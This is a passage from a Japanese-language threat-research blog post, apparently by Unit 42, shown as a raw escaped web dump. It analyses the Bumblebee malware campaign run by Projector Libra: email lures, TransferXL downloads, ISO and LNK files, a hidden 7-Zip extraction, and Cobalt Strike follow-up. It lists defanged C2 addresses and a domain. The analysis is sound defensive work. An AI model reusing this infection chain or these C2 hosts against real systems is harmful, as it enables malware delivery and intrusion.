\u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#primaryimage"},"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","datePublished":"2022-08-10T07:37:31+00:00","dateModified":"2022-08-10T07:39:46+00:00","author":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/66a2d5ad3475220e098802b8b82a6b5b"},"description":"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002","breadcrumb":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#breadcrumb"},"inLanguage":"ja","potentialAction":[{"@type":"ReadAction","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/"]}]},{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#primaryimage","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","width":1920,"height":900,"caption":"A digital image depicting numerous red email icons interspersed with white binary code against a backdrop of blue circuit-like patterns, suggesting a theme of business email compromise."},{"@type":"BreadcrumbList","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/unit42.paloaltonetworks.com\/ja\/"},{"@type":"ListItem","position":2,"name":"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3"}]},{"@type":"WebSite","@id":"https:\/\/unit42.paloaltonetworks.com\/#website","url":"https:\/\/unit42.paloaltonetworks.com\/","name":"Unit 42","description":"Palo Alto Networks","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/unit42.paloaltonetworks.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ja"},{"@type":"Person","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/66a2d5ad3475220e098802b8b82a6b5b","name":"Brad Duncan","image":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/image\/4408571da084e452077209da810f700c","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2017\/09\/Duncan-bio-picture-1-copy-150x150.jpg","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2017\/09\/Duncan-bio-picture-1-copy-150x150.jpg","caption":"Brad Duncan"},"url":"https:\/\/unit42.paloaltonetworks.com\/ja\/author\/bduncan\/"}]}},"_links":{"self":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/124401","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/users\/35"}],"replies":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/comments?post=124401"}],"version-history":[{"count":15,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/124401\/revisions"}],"predecessor-version":[{"id":124416,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/124401\/revisions\/124416"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media\/134228"}],"wp:attachment":[{"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media?parent=124401"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/categories?post=124401"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/tags?post=124401"},{"taxonomy":"product_categories","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/product_categories?post=124401"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/coauthors?post=124401"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
2020\u5e744\u6708\u306b\u306fBumblebee\u306e\u524d\u8eab\u304c\u521d\u3081\u3066\u89b3\u6e2c\u3055\u308c\u3066\u304a\u308a\u3001Trickbot\u306e\u5f71\u306e\u958b\u767a\u8005\u304c\u65b0\u3057\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u300cBazarBackdoor\u300d\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u306e\u304c\u3053\u306e\u6642\u671f\u3067\u3059<\/a>\u3002\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30ed\u30fc\u30c0\u30fc\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306fBazarLoader\u3068\u547c\u3070\u308c\u30012020\u5e74\u304b\u30892021\u5e74\u3092\u901a\u3058\u3066\u5f0a\u793e\u306e\u8105\u5a01\u6982\u6cc1\u306b\u304a\u3044\u3066\u8981\u6ce8\u610f\u306e\u8105\u5a01\u306e1\u3064\u3067\u3057\u305f\u3002<\/p>\n 2021\u5e74\u590f\u306b\u62e1\u6563\u304c\u30d4\u30fc\u30af\u306b\u9054\u3057\u305fBazarLoader\u306f\u3001\u5c11\u306a\u304f\u3068\u30823\u3064\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u3088\u3063\u3066\u305d\u306e\u30b5\u30f3\u30d7\u30eb\u306e\u5927\u534a\u304c\u914d\u5e03\u3055\u308c\u307e\u3057\u305f<\/a>\u3002\u305d\u308c\u3089\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\/\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001TA551 (Shathak)\u3001TA578 (Contact Forms\/Stolen Images Evidence)\u3001\u304a\u3088\u3073\u300cBazarCall<\/a>\u300d\u3068\u547c\u3070\u308c\u308b\u30b3\u30fc\u30eb\u30bb\u30f3\u30bf\u30fc\u3092\u4f7f\u3063\u305f\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u3059\u3002<\/p>\n BazarLoader\u306f2022\u5e742\u6708\u307e\u3067\u6d3b\u52d5\u304c\u898b\u3089\u308c\u307e\u3057\u305f\u304c\u3001\u305d\u308c\u4ee5\u964d\u65b0\u305f\u306b\u4f5c\u3089\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u306f\u767a\u898b\u3055\u308c\u3066\u3044\u307e\u305b\u3093<\/a>\u30022022\u5e743\u6708\u4ee5\u964d\u3001BazarLoader\u3092\u62e1\u6563\u3057\u3066\u3044\u305fProjector Libra<\/a>\u306a\u3069\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001\u4ee3\u308f\u308a\u306b\u300cBumblebee\u300d\u3068\u3044\u3046\u65b0\u3057\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3092\u914d\u5e03\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304c\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3092Bumblebee\u3068\u547c\u3076\u3088\u3046\u306b\u306a\u3063\u305f\u306e\u306f\u3001\u611f\u67d3\u5f8c\u306eHTTPS\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3067\u751f\u6210\u3055\u308c\u308bUser-Agent\u6587\u5b57\u5217\u306b\u300cbumblebee\u300d\u304c\u4f7f\u308f\u308c\u308b\u305f\u3081\u3067\u3059\u3002<\/p>\n TA578\u306a\u3069\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001\u304b\u3064\u3066BazarLoader\u307e\u305f\u306fIcedID (Bokbot)\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u3044\u305a\u308c\u304b\u3092\u62e1\u6563<\/a>\u3057\u3066\u3044\u307e\u3057\u305f\u304c\u30012022\u5e743\u6708\u4ee5\u964d\u3001BazarLoader\u306f\u914d\u5e03\u3057\u306a\u304f\u306a\u308a\u307e\u3057\u305f\u3002\u305f\u3068\u3048\u3070\u3001TA578\u304c\u73fe\u5728\u914d\u5e03\u3057\u3066\u3044\u308b\u306e\u306f\u3001Bumblebee<\/a>\u304bIcedID<\/a>\u306e\u3044\u305a\u308c\u304b\u3067\u3059\u3002<\/p>\n \u30de\u30eb\u30a6\u30a7\u30a2\u306e\u62e1\u6563\u30d1\u30bf\u30fc\u30f3\u304b\u3089\u3001BazarLoader\u306e\u914d\u5e03\u304c\u6b62\u307e\u308b\u4e00\u65b9\u3067Bumblebee\u306e\u62e1\u6563\u306f\u7d9a\u3044\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u3066\u3044\u307e\u3059\u3002\u305d\u308c\u306b\u306fCobalt Strike\u306a\u3069\u306e\u30d5\u30a9\u30ed\u30fc\u30a2\u30c3\u30d7\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u542b\u307e\u308c\u3001\u5834\u5408\u306b\u3088\u3063\u3066\u306f\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u611f\u67d3\u306b\u3064\u306a\u304c\u308b\u6050\u308c\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n Google\u306eThreat Analysis Group (TAG)\u304c\u4ee5\u524d\u306b\u3053\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306e\u653b\u6483\u30c1\u30a7\u30fc\u30f3\u306e\u5168\u8c8c\u3092\u660e\u3089\u304b\u306b\u3057\u307e\u3057\u305f\u304c<\/a>\u3001\u672c\u7a3f\u3067\u53d6\u308a\u4e0a\u3052\u308b\u4e8b\u4f8b\u3067\u306f\u3001\u6700\u521d\u306b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u6a19\u7684\u3068\u3055\u308c\u305f\u88ab\u5bb3\u8005\u306b\u9023\u7d61\u3092\u3068\u308b\u3068\u3053\u308d\u304b\u3089\u59cb\u307e\u308a\u307e\u3059\u3002<\/p>\n \u88ab\u5bb3\u8005\u304c\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306b\u8fd4\u4fe1\u3059\u308b\u3068\u3001Projector Libra\u306f\u300c\u305d\u306e\u4ef6\u306b\u95a2\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u5171\u6709\u3059\u308b\u305f\u3081\u3001\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u304b\u3089\u5225\u9014\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3057\u305f\u300d\u3068\u8fd4\u4fe1\u3057\u3066\u304d\u307e\u3059\u3002\u6b21\u306b\u88ab\u5bb3\u8005\u306f\u5f53\u8a72\u306e\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u304c\u751f\u6210\u3057\u305f\u30e1\u30fc\u30eb\u3092\u53d7\u4fe1\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30e1\u30fc\u30eb\u306b\u306f\u3001\u5148\u8ff0\u306eProjector Libra\u304b\u3089\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u3067\u8a00\u53ca\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306b\u898b\u305b\u304b\u3051\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30db\u30b9\u30c8\u5148\u30ea\u30f3\u30af\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n 2022\u5e74\u4ee5\u964d\u3001Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u306fISO\u30a4\u30e1\u30fc\u30b8\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30a4\u30e1\u30fc\u30b8\u306f\u8106\u5f31\u306aWindows\u30db\u30b9\u30c8\u3078\u306e\u611f\u67d3\u3092\u76ee\u7684\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306eISO\u30a4\u30e1\u30fc\u30b8\u306b\u306fWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u3066\u3001\u305d\u306e\u306a\u304b\u3067\u96a0\u3055\u308c\u305fBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u5b9f\u884c\u3055\u308c\u308b\u3088\u3046\u8a2d\u8a08\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n \u5834\u5408\u306b\u3088\u3063\u3066\u306f\u3001ISO\u30a4\u30e1\u30fc\u30b8\u306bBumblebee\u306e\u96a0\u3057DLL\u30d5\u30a1\u30a4\u30eb\u3092\u5b9f\u884c\u3059\u308bWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8(.LNK\u30d5\u30a1\u30a4\u30eb)\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u3002<\/p>\n \u3053\u306e\u307b\u304b\u3001ISO\u30a4\u30e1\u30fc\u30b8\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6(.7Z\u30d5\u30a1\u30a4\u30eb)\u5185\u306b\u683c\u7d0d\u3059\u308b\u5f62\u3067Bumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u5834\u5408\u3082\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u3088\u3046\u306a\u30b1\u30fc\u30b9\u3067\u306f\u3001LNK\u30d5\u30a1\u30a4\u30eb\u306b\u3088\u3063\u30667-Zip\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3\u30b3\u30f3\u30bd\u30fc\u30eb\u306e\u96a0\u3057\u30b3\u30d4\u30fc\u304c\u5b9f\u884c\u3055\u308c\u3001\u305d\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f7Z\u30d5\u30a1\u30a4\u30eb\u304b\u3089Bumblebee\u304c\u62bd\u51fa\u3055\u308c\u307e\u3059\u3002<\/p>\n Active Directory (AD)\u74b0\u5883\u3067\u306f\u3001\u6700\u521d\u306eBumblebee\u306e\u611f\u67d3\u304cCobalt Strike\u306e\u611f\u67d3\u3078\u3068\u767a\u5c55\u3057\u307e\u3059\u3002\u653b\u6483\u8005\u306fCobalt Strike\u3092\u4f7f\u3063\u3066\u88ab\u5bb3\u74b0\u5883\u3092\u30de\u30c3\u30d4\u30f3\u30b0\u3057\u307e\u3059\u3002\u305d\u306e\u7d50\u679c\u3001\u6a19\u7684\u306e\u4fa1\u5024\u304c\u9ad8\u3044\u3053\u3068\u304c\u308f\u304b\u308c\u3070\u3001\u653b\u6483\u8005\u304c\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u30e1\u30f3\u30c8(\u4fb5\u5165\u5f8c\u306e\u6a2a\u5c55\u958b)\u3092\u8a66\u307f\u3001Conti<\/a>\u3084Diavol<\/a>\u3068\u3044\u3063\u305f\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3092\u30c9\u30ed\u30c3\u30d7\u3057\u307e\u3059\u3002<\/p>\n \u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306e\u6700\u521d\u306e\u30a4\u30d9\u30f3\u30c8\u306f\u30012022\u5e745\u67085\u65e5\u306bProjector Libra\u304b\u3089\u9001\u4fe1\u3055\u308c\u305f\u6700\u521d\u306e\u30e1\u30fc\u30eb\u3067\u3059\u3002\u7c73\u56fd\u306e\u5730\u5143\u30ac\u30b9\u4f1a\u793e\u306b\u52e4\u3081\u308bAndres\u3068\u3044\u3046\u540d\u306e\u5f93\u696d\u54e1\u306b\u306a\u308a\u3059\u307e\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n \u56f32\u306b\u3001\u3053\u306e\u6700\u521d\u306e\u30e1\u30fc\u30eb\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n \u4e0a\u306e\u56f32\u306b\u793a\u3057\u305f\u30e1\u30fc\u30eb\u306b\u88ab\u5bb3\u8005\u304c\u8fd4\u4fe1\u3059\u308b\u3068\u3001Projector Libra\u306f\u6b21\u306e\u56f33\u306b\u793a\u3057\u305f\u30e1\u30fc\u30eb\u3067\u8fd4\u4fe1\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8fd4\u4fe1\u306b\u306f\u3001\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092TransferXL<\/a>\u304b\u3089\u5225\u30e1\u30fc\u30eb\u3067\u9001\u4fe1\u3057\u305f\u3068\u66f8\u304b\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n TransferXL\u306f\u7121\u6599\u30d7\u30e9\u30f3\u306e\u3042\u308b\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u3001Projector Libra\u306e\u3088\u3046\u306a\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7\u306b\u3088\u3063\u3066\u983b\u7e41\u306b\u60aa\u7528\u3055\u308c\u308b\u3001\u6570\u3042\u308b\u7121\u6599\u30d7\u30e9\u30f3\u4ed8\u304d\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u306e1\u3064\u3067\u3059\u3002\u305d\u308c\u3089\u306eTransferXL\u306eURL\u306f1\u9031\u9593\u3067\u6709\u52b9\u671f\u9650\u304c\u5207\u308c\u308b\u305f\u3081\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304b\u3089\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u96a0\u3059\u306e\u306b\u597d\u90fd\u5408\u3068\u3044\u3048\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u56f34\u306f\u3001Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u5171\u6709\u3059\u308b\u305f\u3081\u306e\u3001\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306eTransferXL\u306e\u30e1\u30fc\u30eb\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n TransferXL\u304b\u3089\u5171\u6709\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306f\u5727\u7e2e\u3055\u308c\u3001ZIP\u30a2\u30fc\u30ab\u30a4\u30d6\u3068\u3057\u3066\u9001\u4fe1\u3055\u308c\u307e\u3059\u3002\u56f35\u306f\u3001\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306eTransferXL\u306eURL\u304cWeb\u30d6\u30e9\u30a6\u30b6\u3067\u958b\u304b\u308c\u3001Projector Libra\u304c\u914d\u5e03\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u308b\u6d41\u308c\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n \u53d7\u4fe1\u8005\u306fTransferXL\u306eZIP\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089ISO\u30d5\u30a1\u30a4\u30eb\u3092\u62bd\u51fa\u3057\u307e\u3059\u3002Microsoft Windows\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u307b\u3068\u3093\u3069\u306eGUI\u30d9\u30fc\u30b9\u306e\u30c7\u30b9\u30af\u30c8\u30c3\u30d7\u74b0\u5883\u3067\u306f\u3001ISO\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30d6\u30eb\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u305d\u308c\u304c\u65b0\u3057\u3044\u30c9\u30e9\u30a4\u30d6\u3068\u3057\u3066\u30de\u30a6\u30f3\u30c8\u3055\u308c\u307e\u3059\u3002Windows 10\u3067\u306f\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305fISO\u306f\u3001\u56f36\u306eDVD\u30c9\u30e9\u30a4\u30d6E:\u3068\u540c\u69d8\u306bDVD\u30c9\u30e9\u30a4\u30d6\u3068\u3057\u3066\u30de\u30a6\u30f3\u30c8\u3055\u308c\u307e\u3059\u3002<\/p>\n \u4e0a\u306e\u56f36\u306e\u3088\u3046\u306b\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305fISO\u30d5\u30a1\u30a4\u30eb\u306b\u306fAttachments.lnk<\/span>\u3068\u3044\u3046\u540d\u524d\u306eWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u304c\u542b\u307e\u308c\u307e\u3059\u3002Microsoft Windows\u3067\u306f\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30fc\u30e9\u30fc\u3067\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u304c\u8868\u793a\u3055\u308c\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3057\u3066\u3044\u3066\u3082\u3001.lnk<\/span>\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u306f\u8868\u793a\u3055\u308c\u307e\u305b\u3093\u3002<\/p>\n Attachments.lnk<\/span>\u306b\u3088\u3063\u3066\u30017za.exe<\/span>\u3068\u3044\u3046\u540d\u524d\u306e7-Zip\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3 \u30b3\u30f3\u30bd\u30fc\u30eb \u30d5\u30a1\u30a4\u30eb\u306e\u30b3\u30d4\u30fc\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306ePowerShell\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u4e0a\u306e\u56f36\u306f\u3001Attachments.lnk<\/span>\u306ePowerShell\u30b3\u30de\u30f3\u30c9\u5168\u4f53\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n 7za.exe<\/span>\u306b\u3088\u3063\u3066\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305farchive.7z<\/span>\u3068\u3044\u3046\u540d\u524d\u306e7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306eDLL\u30d5\u30a1\u30a4\u30eb\u304c\u62bd\u51fa\u3055\u308c\u307e\u3059\u30027za.exe<\/span>\u3068archive.7z<\/span>\u306f\u3069\u3061\u3089\u3082\u975e\u8868\u793a\u3067\u3059\u304c\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30fc\u30e9\u30fc\u3067\u96a0\u3057\u30d5\u30a1\u30a4\u30eb\u304c\u8868\u793a\u3055\u308c\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3059\u308c\u3070\u8868\u793a\u3067\u304d\u307e\u3059\u3002<\/p>\n \u4ee5\u4e0b\u306e\u56f37\u306e\u3088\u3046\u306b\u3001\u62bd\u51fa\u3057\u305fBumblebee DLL\u30d5\u30a1\u30a4\u30eb\u306fC:\\ProgramData\\19a.dll<\/span>\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002Bumblebee\u306eDLL\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u30a8\u30f3\u30c8\u30ea\u30dd\u30a4\u30f3\u30c8\u3068\u3057\u3066rundll32<\/span>\u3068oxgdXPSGPw<\/span>\u3092\u4f7f\u3063\u3066\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n \u3053\u306e\u611f\u67d3\u3067\u751f\u6210\u3055\u308c\u308b\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306f\u3059\u3079\u3066HTTPS\u3067\u3059\u3002\u4ee5\u4e0b\u306e\u56f38\u306f\u3001\u3053\u306e\u611f\u67d3\u306b\u4f7f\u308f\u308c\u305fTransferXL URL\u3092Wireshark\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u305f\u7d50\u679c\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002ISO\u304c\u30de\u30a6\u30f3\u30c8\u3055\u308c\u3001Bumblebee\u304c\u5b9f\u884c\u3055\u308c\u308b\u3068\u3001Bumblebee\u306eHTTPS C2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u304c54.38.139[.]20:443<\/span>\u3067\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n \u4ee5\u4e0b\u306e\u56f39\u306e\u3088\u3046\u306b\u3001Bumblebee\u306eC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306e\u958b\u59cb\u304b\u3089\u7d0415\u5206\u5f8c\u300145.153.243[.]142:443<\/span>\u3067fuvataren[.]com<\/span>\u3092\u4f7f\u7528\u3059\u308bCobalt Strike\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n \u3053\u306e\u4e8b\u4f8b\u3068\u30e9\u30dc\u3067\u306e\u30c6\u30b9\u30c8\u3067\u3001Bumblebee\u306e\u611f\u67d3\u306f\u305f\u3073\u305f\u3073Cobalt Strike\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3078\u3068\u767a\u5c55\u3057\u3066\u3044\u307e\u3057\u305f\u3002Unit 42\u306fTwitter\u306e@Unit42_Intel<\/a>\u30cf\u30f3\u30c9\u30eb\u304b\u3089Bumblebee\u611f\u67d3\u306b\u3088\u308bCobalt Strike\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u4ee5\u4e0b\u306e\u30c4\u30a4\u30fc\u30c8\u3067\u5831\u544a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n \u6a19\u7684\u3068\u306a\u3063\u305f\u74b0\u5883\u306e\u4fa1\u5024\u304c\u9ad8\u3044\u5834\u5408\u3001\u3055\u3089\u306a\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u52a0\u3048\u3001\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u304c\u78ba\u8a8d\u3055\u308c\u308b\u5834\u5408\u3082\u3042\u308a\u307e\u3059\u3002\u305f\u3060\u3057\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u3067\u306f\u9b45\u529b\u7684\u306a\u6a19\u7684\u3092\u7528\u610f\u3057\u306a\u304b\u3063\u305f\u305f\u3081\u3001Cobalt Strike\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306f1\u6642\u959311\u5206\u5f8c\u306b\u7a81\u7136\u7d42\u4e86\u3057\u307e\u3057\u305f\u3002<\/p>\n Bumblebee\u306f\u73fe\u5728\u3001\u304b\u3064\u3066BazarLoader\u3092\u914d\u5e03\u3057\u3066\u3044\u305fProjector 